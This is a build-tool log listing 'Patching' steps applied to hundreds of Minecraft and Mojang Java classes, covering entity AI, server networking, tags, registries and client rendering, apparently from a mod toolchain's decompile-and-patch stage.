net/minecraft/world/entity/animal/Cat$CatTemptGoal 1/1 Patching net/minecraft/world/entity/animal/Cat$CatAvoidEntityGoal 1/1 Patching net/minecraft/world/entity/animal/Cat$CatRelaxOnOwnerGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeLookControl 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeWanderGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeHurtByOtherGoal 1/1 Patching net/minecraft/world/entity/animal/Cat 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeLocateHiveGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeGrowCropGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeEnterHiveGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeePollinateGoal 1/1 Patching net/minecraft/world/entity/animal/Fox 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeAttackGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeBecomeAngryTargetGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BaseBeeGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$1 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeGoToKnownFlowerGoal 1/1 Patching net/minecraft/world/entity/animal/Bee$BeeGoToHiveGoal 1/1 Patching net/minecraft/world/entity/animal/Animal 1/1 Patching net/minecraft/world/entity/ai/village/VillageSiege$State 1/1 Patching net/minecraft/world/entity/animal/Bee 1/1 Patching net/minecraft/world/entity/ai/village/poi/PoiType 1/1 Patching net/minecraft/world/entity/ai/village/VillageSiege 1/1 Patching net/minecraft/world/entity/ai/sensing/SensorType 1/1 Patching net/minecraft/world/entity/ai/navigation/WallClimberNavigation 1/1 Patching net/minecraft/world/entity/ai/memory/MemoryModuleType 1/1 Patching net/minecraft/world/entity/ai/navigation/PathNavigation 1/1 Patching net/minecraft/world/entity/ai/goal/RunAroundLikeCrazyGoal 1/1 Patching net/minecraft/world/entity/ai/goal/RangedCrossbowAttackGoal$CrossbowState 1/1 Patching net/minecraft/world/entity/ai/goal/RangedBowAttackGoal 1/1 Patching net/minecraft/world/entity/ai/goal/RemoveBlockGoal 1/1 Patching net/minecraft/world/entity/ai/goal/RangedCrossbowAttackGoal 1/1 Patching net/minecraft/world/entity/ai/goal/MeleeAttackGoal 1/1 Patching net/minecraft/world/entity/ai/goal/EatBlockGoal 1/1 Patching net/minecraft/world/entity/ai/goal/BreakDoorGoal 1/1 Patching net/minecraft/world/entity/ai/behavior/HarvestFarmland 1/1 Patching net/minecraft/world/entity/ai/behavior/CrossbowAttack$CrossbowState 1/1 Patching net/minecraft/world/entity/ai/behavior/CrossbowAttack 1/1 Patching net/minecraft/world/entity/ai/attributes/AttributeSupplier$Builder 1/1 Patching net/minecraft/world/entity/ai/attributes/AttributeSupplier 1/1 Patching net/minecraft/world/entity/ai/attributes/Attribute 1/1 Patching net/minecraft/world/entity/SpawnPlacements$Type 1/1 Patching net/minecraft/world/entity/SpawnPlacements$SpawnPredicate 1/1 Patching net/minecraft/world/entity/SpawnPlacements$Data 1/1 Patching net/minecraft/world/entity/Shearable 1/1 Patching net/minecraft/world/entity/Mob$1 1/1 Patching net/minecraft/world/entity/MobCategory 1/1 Patching net/minecraft/world/entity/LivingEntity$1 1/1 Patching net/minecraft/world/entity/LightningBolt 1/1 Patching net/minecraft/world/entity/FlyingMob 1/1 Patching net/minecraft/world/entity/ai/attributes/DefaultAttributes 1/1 Patching net/minecraft/world/entity/EntityType$EntityFactory 1/1 Patching net/minecraft/world/entity/SpawnPlacements 1/1 Patching net/minecraft/world/entity/EntityType$1 1/1 Patching net/minecraft/world/entity/EntityType$Builder 1/1 Patching net/minecraft/world/entity/ExperienceOrb 1/1 Patching net/minecraft/world/entity/Entity$MoveFunction 1/1 Patching net/minecraft/world/entity/Entity$RemovalReason 1/1 Patching net/minecraft/world/entity/Entity$MovementEmission 1/1 Patching net/minecraft/world/entity/Entity$1 1/1 Patching net/minecraft/world/effect/MobEffects$1 1/1 Patching net/minecraft/world/effect/MobEffectCategory 1/1 Patching net/minecraft/world/effect/MobEffects 1/1 Patching net/minecraft/world/effect/MobEffect 1/1 Patching net/minecraft/world/effect/MobEffectInstance 1/1 Patching net/minecraft/world/entity/Mob 1/1 Patching net/minecraft/world/entity/EntityType 1/1 Patching net/minecraft/world/entity/LivingEntity 1/1 Patching net/minecraft/world/entity/Entity 1/1 Patching net/minecraft/tags/TagManager$LoaderInfo 1/1 Patching net/minecraft/tags/TagContainer$CollectionConsumer 1/1 Patching net/minecraft/tags/TagContainer$Builder 1/1 Patching net/minecraft/tags/TagContainer$1 1/1 Patching net/minecraft/tags/TagContainer 1/1 Patching net/minecraft/tags/TagManager 1/1 Patching net/minecraft/tags/Tag$Named 1/1 Patching net/minecraft/tags/Tag$Entry 1/1 Patching net/minecraft/tags/Tag$TagEntry 1/1 Patching net/minecraft/tags/Tag$OptionalElementEntry 1/1 Patching net/minecraft/tags/Tag$OptionalTagEntry 1/1 Patching net/minecraft/tags/Tag 1/1 Patching net/minecraft/tags/Tag$BuilderEntry 1/1 Patching net/minecraft/tags/Tag$ElementEntry 1/1 Patching net/minecraft/tags/StaticTagHelper$Wrapper 1/1 Patching net/minecraft/tags/StaticTags 1/1 Patching net/minecraft/tags/GameEventTags 1/1 Patching net/minecraft/tags/FluidTags 1/1 Patching net/minecraft/tags/StaticTagHelper 1/1 Patching net/minecraft/tags/EntityTypeTags 1/1 Patching net/minecraft/stats/StatType 1/1 Patching net/minecraft/tags/Tag$Builder 1/1 Patching net/minecraft/tags/ItemTags 1/1 Patching net/minecraft/sounds/SoundEvent 1/1 Patching net/minecraft/tags/BlockTags 1/1 Patching net/minecraft/server/rcon/thread/RconClient 1/1 Patching net/minecraft/server/rcon/RconConsoleSource 1/1 Patching net/minecraft/server/players/PlayerList$1 1/1 Patching net/minecraft/server/packs/resources/SimpleReloadableResourceManager$ResourcePackLoadingFailure 1/1 Patching net/minecraft/server/packs/resources/SimpleReloadableResourceManager$FailingReloadInstance 1/1 Patching net/minecraft/server/packs/resources/SimpleReloadableResourceManager 1/1 Patching net/minecraft/server/packs/resources/ResourceManager 1/1 Patching net/minecraft/server/packs/resources/ResourceManagerReloadListener 1/1 Patching net/minecraft/server/packs/resources/SimpleJsonResourceReloadListener 1/1 Patching net/minecraft/server/packs/resources/ResourceManager$Empty 1/1 Patching net/minecraft/server/packs/resources/FallbackResourceManager$LeakedResourceWarningInputStream 1/1 Patching net/minecraft/server/packs/resources/FallbackResourceManager 1/1 Patching net/minecraft/server/packs/repository/Pack$PackConstructor 1/1 Patching net/minecraft/server/packs/repository/Pack$Position 1/1 Patching net/minecraft/server/packs/repository/PackRepository 1/1 Patching net/minecraft/server/packs/repository/Pack 1/1 Patching net/minecraft/server/packs/VanillaPackResources$1 1/1 Patching net/minecraft/server/packs/PackResources 1/1 Patching net/minecraft/server/players/PlayerList 1/1 Patching net/minecraft/server/network/ServerLoginPacketListenerImpl$State 1/1 Patching net/minecraft/server/network/ServerHandshakePacketListenerImpl$1 1/1 Patching net/minecraft/server/network/ServerLoginPacketListenerImpl$1 1/1 Patching net/minecraft/server/network/ServerHandshakePacketListenerImpl 1/1 Patching net/minecraft/server/network/ServerGamePacketListenerImpl$EntityInteraction 1/1 Patching net/minecraft/server/packs/VanillaPackResources 1/1 Patching net/minecraft/server/network/ServerConnectionListener$LatencySimulator 1/1 Patching net/minecraft/server/network/ServerGamePacketListenerImpl$2 1/1 Patching net/minecraft/server/network/ServerGamePacketListenerImpl$1 1/1 Patching net/minecraft/server/network/ServerConnectionListener$LatencySimulator$DelayedMessage 1/1 Patching net/minecraft/server/network/ServerLoginPacketListenerImpl 1/1 Patching net/minecraft/server/network/ServerConnectionListener$2 1/1 Patching net/minecraft/server/network/MemoryServerHandshakePacketListenerImpl 1/1 Patching net/minecraft/server/network/ServerConnectionListener 1/1 Patching net/minecraft/server/network/ServerConnectionListener$1 1/1 Patching net/minecraft/server/level/Ticket 1/1 Patching net/minecraft/server/level/ServerPlayer$3 1/1 Patching net/minecraft/server/level/ServerPlayer$2 1/1 Patching net/minecraft/server/level/ServerPlayer$1 1/1 Patching net/minecraft/server/level/ServerLevel$EntityCallbacks 1/1 Patching net/minecraft/server/level/ServerPlayerGameMode 1/1 Patching net/minecraft/sounds/SoundEvents 1/1 Patching net/minecraft/server/level/ServerChunkCache$MainThreadExecutor 1/1 Patching net/minecraft/server/level/DistanceManager$FixedPlayerDistanceChunkTracker 1/1 Patching net/minecraft/server/level/DistanceManager$PlayerTicketTracker 1/1 Patching net/minecraft/server/level/DistanceManager$ChunkTicketTracker 1/1 Patching net/minecraft/server/level/ServerEntity 1/1 Patching net/minecraft/server/level/DistanceManager 1/1 Patching net/minecraft/server/level/ServerChunkCache 1/1 Patching net/minecraft/server/level/ChunkMap$DistanceManager 1/1 Patching net/minecraft/server/level/ChunkMap$2 1/1 Patching net/minecraft/server/level/ChunkMap$TrackedEntity 1/1 Patching net/minecraft/server/level/ChunkMap$1 1/1 Patching net/minecraft/server/level/ChunkHolder$PlayerProvider 1/1 Patching net/minecraft/server/level/ChunkHolder$LevelChangeListener 1/1 Patching net/minecraft/server/level/ChunkHolder$ChunkSaveDebug 1/1 Patching net/minecraft/server/level/ChunkHolder$FullChunkStatus 1/1 Patching net/minecraft/server/level/ChunkHolder$ChunkLoadingFailure 1/1 Patching net/minecraft/server/level/ChunkHolder$ChunkLoadingFailure$1 1/1 Patching net/minecraft/server/level/ChunkHolder$1 1/1 Patching net/minecraft/server/gui/MinecraftServerGui$2 1/1 Patching net/minecraft/server/gui/MinecraftServerGui$1 1/1 Patching net/minecraft/server/dedicated/Settings$MutableValue 1/1 Patching net/minecraft/server/gui/MinecraftServerGui 1/1 Patching net/minecraft/server/dedicated/ServerWatchdog$1 1/1 Patching net/minecraft/server/dedicated/ServerWatchdog 1/1 Patching net/minecraft/server/dedicated/Settings 1/1 Patching net/minecraft/server/dedicated/DedicatedServer$1 1/1 Patching net/minecraft/server/level/ChunkHolder 1/1 Patching net/minecraft/server/network/ServerGamePacketListenerImpl 1/1 Patching net/minecraft/server/level/ServerLevel 1/1 Patching net/minecraft/server/level/ServerPlayer 1/1 Patching net/minecraft/server/dedicated/DedicatedServer 1/1 Patching net/minecraft/server/commands/TeleportCommand$LookAt 1/1 Patching net/minecraft/server/commands/SpreadPlayersCommand$Position 1/1 Patching net/minecraft/server/commands/SpreadPlayersCommand 1/1 Patching net/minecraft/server/commands/TeleportCommand 1/1 Patching net/minecraft/server/level/ChunkMap 1/1 Patching net/minecraft/server/commands/LocateCommand 1/1 Patching net/minecraft/server/ServerResources 1/1 Patching net/minecraft/server/PlayerAdvancements$1 1/1 Patching net/minecraft/server/ServerAdvancementManager 1/1 Patching net/minecraft/server/Bootstrap$1 1/1 Patching net/minecraft/resources/ResourceLocation$Serializer 1/1 Patching net/minecraft/resources/ResourceLocation 1/1 Patching net/minecraft/server/Bootstrap 1/1 Patching net/minecraft/resources/ResourceKey 1/1 Patching net/minecraft/resources/RegistryReadOps$ReadCache 1/1 Patching net/minecraft/resources/RegistryReadOps$1 1/1 Patching net/minecraft/resources/RegistryReadOps$ResourceAccess$MemoryMap 1/1 Patching net/minecraft/server/PlayerAdvancements 1/1 Patching net/minecraft/resources/RegistryReadOps$ResourceAccess 1/1 Patching net/minecraft/resources/RegistryReadOps$ResourceAccess$1 1/1 Patching net/minecraft/recipebook/PlaceRecipe 1/1 Patching net/minecraft/network/syncher/SynchedEntityData$DataItem 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$9 1/1 Patching net/minecraft/resources/RegistryReadOps 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$7 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$6 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$8 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$5 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$4 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$3 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$2 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$19 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$18 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$16 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$17 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$15 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$14 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$11 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$13 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$12 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$1 1/1 Patching net/minecraft/network/protocol/status/ServerStatus$Version 1/1 Patching net/minecraft/network/syncher/EntityDataSerializers$10 1/1 Patching net/minecraft/network/protocol/status/ServerStatus 1/1 Patching net/minecraft/network/protocol/status/ServerStatus$Players 1/1 Patching net/minecraft/network/protocol/status/ServerStatus$Version$Serializer 1/1 Patching net/minecraft/network/protocol/status/ServerStatus$Serializer 1/1 Patching net/minecraft/network/protocol/status/ClientboundStatusResponsePacket 1/1 Patching net/minecraft/network/protocol/login/ServerboundCustomQueryPacket 1/1 Patching net/minecraft/network/protocol/status/ServerStatus$Players$Serializer 1/1 Patching net/minecraft/network/protocol/login/ClientboundCustomQueryPacket 1/1 Patching net/minecraft/network/protocol/handshake/ClientIntentionPacket 1/1 Patching net/minecraft/network/protocol/game/ServerboundSetCreativeModeSlotPacket 1/1 Patching net/minecraft/network/syncher/SynchedEntityData 1/1 Patching net/minecraft/network/protocol/game/ServerboundCustomPayloadPacket 1/1 Patching net/minecraft/network/protocol/game/ServerboundContainerClickPacket 1/1 Patching net/minecraft/network/protocol/game/ClientboundUpdateAttributesPacket$AttributeSnapshot 1/1 Patching net/minecraft/network/protocol/game/ClientboundUpdateAttributesPacket 1/1 Patching net/minecraft/network/protocol/game/ClientboundCustomPayloadPacket 1/1 Patching net/minecraft/network/protocol/game/ClientboundCommandsPacket$Entry 1/1 Patching net/minecraft/network/protocol/game/ClientboundCommandsPacket 1/1 Patching net/minecraft/network/chat/Style$1 1/1 Patching net/minecraft/network/chat/TranslatableComponent 1/1 Patching net/minecraft/network/chat/Style$Serializer 1/1 Patching net/minecraft/network/chat/Style 1/1 Patching net/minecraft/network/PacketEncoder 1/1 Patching net/minecraft/network/Connection$PacketHolder 1/1 Patching net/minecraft/network/Connection$2 1/1 Patching net/minecraft/network/Connection$1 1/1 Patching net/minecraft/network/CompressionEncoder 1/1 Patching net/minecraft/nbt/StringTag 1/1 Patching net/minecraft/network/Connection 1/1 Patching net/minecraft/nbt/StringTag$1 1/1 Patching net/minecraft/nbt/NbtAccounter$1 1/1 Patching net/minecraft/nbt/NbtAccounter 1/1 Patching net/minecraft/nbt/NbtIo 1/1 Patching net/minecraft/nbt/CompoundTag$1 1/1 Patching net/minecraft/locale/Language$1 1/1 Patching net/minecraft/locale/Language 1/1 Patching net/minecraft/nbt/CompoundTag 1/1 Patching net/minecraft/network/FriendlyByteBuf 1/1 Patching net/minecraft/data/worldgen/biome/Biomes 1/1 Patching net/minecraft/data/tags/TagsProvider$TagAppender 1/1 Patching net/minecraft/data/tags/FluidTagsProvider 1/1 Patching net/minecraft/data/tags/GameEventTagsProvider 1/1 Patching net/minecraft/data/tags/TagsProvider 1/1 Patching net/minecraft/data/tags/EntityTypeTagsProvider 1/1 Patching net/minecraft/data/tags/ItemTagsProvider 1/1 Patching net/minecraft/data/tags/BlockTagsProvider 1/1 Patching net/minecraft/data/loot/LootTableProvider 1/1 Patching net/minecraft/data/DataGenerator 1/1 Patching net/minecraft/data/HashCache 1/1 Patching net/minecraft/data/BuiltinRegistries 1/1 Patching net/minecraft/core/particles/ParticleTypes$1 1/1 Patching net/minecraft/data/loot/EntityLoot 1/1 Patching net/minecraft/core/particles/ParticleType 1/1 Patching net/minecraft/core/particles/ItemParticleOption 1/1 Patching net/minecraft/core/particles/ItemParticleOption$1 1/1 Patching net/minecraft/core/particles/ParticleTypes 1/1 Patching net/minecraft/core/particles/BlockParticleOption 1/1 Patching net/minecraft/core/particles/BlockParticleOption$1 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$8 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$9 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$8$1 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$7 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$5 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$6 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$3 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$4 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$7$1 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$26 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$25 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$23 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$24 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$21 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$22 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$20 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$19 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$18 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$17 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$2 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$16 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$15 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$13 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$12 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$11 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$1 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$14 1/1 Patching net/minecraft/core/dispenser/DispenseItemBehavior$10 1/1 Patching net/minecraft/core/RegistryAccess$RegistryData 1/1 Patching net/minecraft/core/RegistryAccess 1/1 Patching net/minecraft/core/RegistryAccess$RegistryHolder 1/1 Patching net/minecraft/core/MappedRegistry$RegistryEntry 1/1 Patching net/minecraft/data/recipes/RecipeProvider 1/1 Patching net/minecraft/core/Direction$AxisDirection 1/1 Patching net/minecraft/core/Direction$Plane 1/1 Patching net/minecraft/core/Direction$Axis$3 1/1 Patching net/minecraft/core/Direction$Axis$2 1/1 Patching net/minecraft/core/Direction$Axis$1 1/1 Patching net/minecraft/core/Direction$Axis 1/1 Patching net/minecraft/core/MappedRegistry 1/1 Patching net/minecraft/core/Direction$1 1/1 Patching net/minecraft/core/Direction 1/1 Patching net/minecraft/core/Registry 1/1 Patching net/minecraft/data/loot/BlockLoot 1/1 Patching net/minecraft/commands/synchronization/ArgumentTypes$Entry 1/1 Patching net/minecraft/commands/synchronization/ArgumentTypes 1/1 Patching net/minecraft/commands/arguments/selector/EntitySelectorParser 1/1 Patching net/minecraft/commands/Commands$ParseFunction 1/1 Patching net/minecraft/commands/Commands$CommandSelection 1/1 Patching net/minecraft/commands/Commands 1/1 Patching net/minecraft/advancements/critereon/ItemPredicate$Builder 1/1 Patching net/minecraft/advancements/critereon/ItemPredicate 1/1 Patching net/minecraft/advancements/AdvancementRewards$Builder 1/1 Patching net/minecraft/advancements/AdvancementList$Listener 1/1 Patching net/minecraft/Util$OS$2 1/1 Patching net/minecraft/advancements/AdvancementRewards 1/1 Patching net/minecraft/Util$OS$1 1/1 Patching net/minecraft/advancements/Advancement 1/1 Patching net/minecraft/Util$IdentityStrategy 1/1 Patching net/minecraft/Util$9 1/1 Patching net/minecraft/advancements/AdvancementList 1/1 Patching net/minecraft/Util$7 1/1 Patching net/minecraft/Util$OS 1/1 Patching net/minecraft/Util$8 1/1 Patching net/minecraft/Util$6 1/1 Patching net/minecraft/Util$5 1/1 Patching net/minecraft/Util$1 1/1 Patching net/minecraft/Util$4 1/1 Patching net/minecraft/Util$3 1/1 Patching net/minecraft/SharedConstants 1/1 Patching net/minecraft/CrashReportCategory$Entry 1/1 Patching net/minecraft/CrashReport 1/1 Patching net/minecraft/advancements/Advancement$Builder 1/1 Patching com/mojang/math/Vector4f 1/1 Patching net/minecraft/CrashReportCategory 1/1 Patching com/mojang/math/Transformation 1/1 Patching com/mojang/math/Vector3f 1/1 Patching net/minecraft/Util 1/1 Patching com/mojang/blaze3d/platform/Window$WindowInitFailed 1/1 Patching com/mojang/math/Matrix3f 1/1 Patching com/mojang/blaze3d/vertex/VertexFormat$Mode 1/1 Patching com/mojang/math/Matrix4f 1/1 Patching com/mojang/blaze3d/vertex/BufferBuilder$DrawState 1/1 Patching com/mojang/blaze3d/vertex/VertexFormat$IndexType 1/1 Patching com/mojang/blaze3d/vertex/VertexFormatElement$Usage 1/1 Patching com/mojang/blaze3d/vertex/VertexFormatElement$Usage$SetupState 1/1 Patching com/mojang/blaze3d/vertex/BufferBuilder$1 1/1 Patching com/mojang/blaze3d/vertex/VertexConsumer 1/1 Patching com/mojang/blaze3d/vertex/VertexFormat$1 1/1 Patching com/mojang/blaze3d/vertex/VertexFormat 1/1 Patching com/mojang/blaze3d/vertex/VertexFormatElement 1/1 Patching com/mojang/blaze3d/vertex/VertexFormatElement$Usage$ClearState 1/1 Patching com/mojang/blaze3d/vertex/VertexFormatElement$Type 1/1 Patching com/mojang/blaze3d/vertex/BufferBuilder$SortState 1/1 Patching com/mojang/blaze3d/vertex/BufferBuilder 1/1 Patching com/mojang/blaze3d/platform/Window 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$StencilFunc 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$StencilState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$ScissorState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$PolygonOffsetState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$DestFactor 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$ColorMask 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$Viewport 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$CullState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$TextureState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$ColorLogicState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$SourceFactor 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$DepthState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$BlendState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$BooleanState 1/1 Patching com/mojang/blaze3d/platform/GlStateManager$LogicOp 1/1 Patching com/mojang/blaze3d/pipeline/RenderTarget 1/1 Patching com/mojang/blaze3d/platform/GlStateManager 1/1 Patching com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen 1/1 Patching net/minecraft/client/KeyboardHandler$1 1/1 Patching net/minecraft/client/particle/TerrainParticle$Provider 1/1 Patching net/minecraft/client/particle/ParticleEngine$MutableSpriteSet 1/1 Patching net/minecraft/client/particle/Particle 1/1 Patching net/minecraft/client/MouseHandler 1/1 Patching net/minecraft/client/particle/ParticleEngine$SpriteParticleRegistration 1/1 Patching net/minecraft/client/particle/TerrainParticle 1/1 Patching net/minecraft/client/Minecraft$1 1/1 Patching net/minecraft/client/Minecraft$ChatStatus 1/1 Patching net/minecraft/client/Options$2 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$CompiledChunk$1 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk$ChunkCompileTask 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$CompiledChunk 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$ChunkTaskResult 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk$ResortTransparencyTask 1/1 Patching net/minecraft/client/server/IntegratedServer 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk$RebuildTask 1/1 Patching net/minecraft/client/renderer/Sheets 1/1 Patching net/minecraft/client/renderer/FogRenderer$FogMode 1/1 Patching net/minecraft/client/renderer/LevelRenderer$RenderInfoMap 1/1 Patching net/minecraft/client/renderer/DimensionSpecialEffects$OverworldEffects 1/1 Patching net/minecraft/client/particle/ParticleEngine 1/1 Patching net/minecraft/client/renderer/item/ItemProperties$2 1/1 Patching net/minecraft/client/renderer/item/ItemProperties$CompassWobble 1/1 Patching net/minecraft/client/renderer/item/ItemProperties$1 1/1 Patching net/minecraft/client/renderer/chunk/ChunkRenderDispatcher 1/1 Patching net/minecraft/client/renderer/block/BlockRenderDispatcher$1 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$Cache$1 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$Cache 1/1 Patching net/minecraft/client/renderer/item/ItemProperties 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$1 1/1 Patching net/minecraft/client/renderer/block/BlockModelShaper 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$AdjacencyInfo 1/1 Patching net/minecraft/client/renderer/ItemInHandRenderer 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$SizeInfo 1/1 Patching net/minecraft/client/renderer/block/model/BakedQuad 1/1 Patching net/minecraft/client/renderer/block/model/FaceBakery$1 1/1 Patching net/minecraft/client/renderer/ItemBlockRenderTypes 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer 1/1 Patching net/minecraft/client/renderer/block/LiquidBlockRenderer 1/1 Patching net/minecraft/client/renderer/block/model/ItemOverrides$BakedOverride 1/1 Patching net/minecraft/client/renderer/block/model/BlockModel$LoopException 1/1 Patching net/minecraft/client/renderer/block/model/BlockModel$GuiLight 1/1 Patching net/minecraft/client/renderer/block/model/ItemOverrides 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransform 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransforms 1/1 Patching net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransforms$Deserializer 1/1 Patching net/minecraft/client/renderer/block/model/ItemModelGenerator$1 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransform$Deserializer 1/1 Patching net/minecraft/client/renderer/block/model/MultiVariant 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransforms$TransformType 1/1 Patching net/minecraft/client/renderer/block/model/BlockModel$Deserializer 1/1 Patching net/minecraft/client/renderer/block/model/FaceBakery 1/1 Patching net/minecraft/client/renderer/block/model/ItemTransforms$1 1/1 Patching net/minecraft/client/renderer/block/model/ItemOverrides$PropertyMatcher 1/1 Patching net/minecraft/client/renderer/block/model/ItemModelGenerator$Span 1/1 Patching net/minecraft/client/renderer/block/model/MultiVariant$Deserializer 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$Cache$2 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$AmbientVertexRemap 1/1 Patching net/minecraft/client/renderer/block/BlockRenderDispatcher 1/1 Patching net/minecraft/client/renderer/block/model/ItemModelGenerator 1/1 Patching net/minecraft/client/renderer/texture/Stitcher$SpriteLoader 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlasSprite$Info 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlas$Preparations 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlasSprite$FrameInfo 1/1 Patching net/minecraft/client/renderer/block/model/BlockModel 1/1 Patching net/minecraft/client/renderer/block/ModelBlockRenderer$AmbientOcclusionFace 1/1 Patching net/minecraft/client/renderer/texture/Stitcher$Region 1/1 Patching net/minecraft/client/renderer/texture/AbstractTexture 1/1 Patching net/minecraft/client/renderer/GameRenderer 1/1 Patching net/minecraft/client/renderer/texture/Stitcher$Holder 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlasSprite$InterpolationData 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlasSprite 1/1 Patching net/minecraft/client/renderer/texture/Stitcher 1/1 Patching net/minecraft/client/renderer/LevelRenderer$RenderChunkInfo 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlasSprite$AnimatedTexture 1/1 Patching net/minecraft/client/renderer/DimensionSpecialEffects$NetherEffects 1/1 Patching net/minecraft/client/renderer/LightTexture 1/1 Patching net/minecraft/client/renderer/PostChain 1/1 Patching net/minecraft/client/renderer/texture/TextureAtlas 1/1 Patching net/minecraft/client/renderer/texture/TextureManager 1/1 Patching net/minecraft/client/renderer/entity/BoatRenderer 1/1 Patching net/minecraft/client/renderer/EffectInstance 1/1 Patching net/minecraft/client/renderer/entity/FallingBlockRenderer 1/1 Patching net/minecraft/client/renderer/entity/ItemFrameRenderer 1/1 Patching net/minecraft/client/renderer/entity/LivingEntityRenderer 1/1 Patching net/minecraft/client/renderer/entity/ItemEntityRenderer 1/1 Patching net/minecraft/client/renderer/entity/EntityRenderer 1/1 Patching net/minecraft/client/renderer/entity/player/PlayerRenderer 1/1 Patching net/minecraft/client/renderer/entity/LivingEntityRenderer$1 1/1 Patching net/minecraft/client/renderer/entity/EntityRenderDispatcher 1/1 Patching net/minecraft/client/renderer/LevelRenderer 1/1 Patching net/minecraft/client/renderer/entity/layers/HumanoidArmorLayer$1 1/1 Patching net/minecraft/client/renderer/entity/layers/HumanoidArmorLayer 1/1 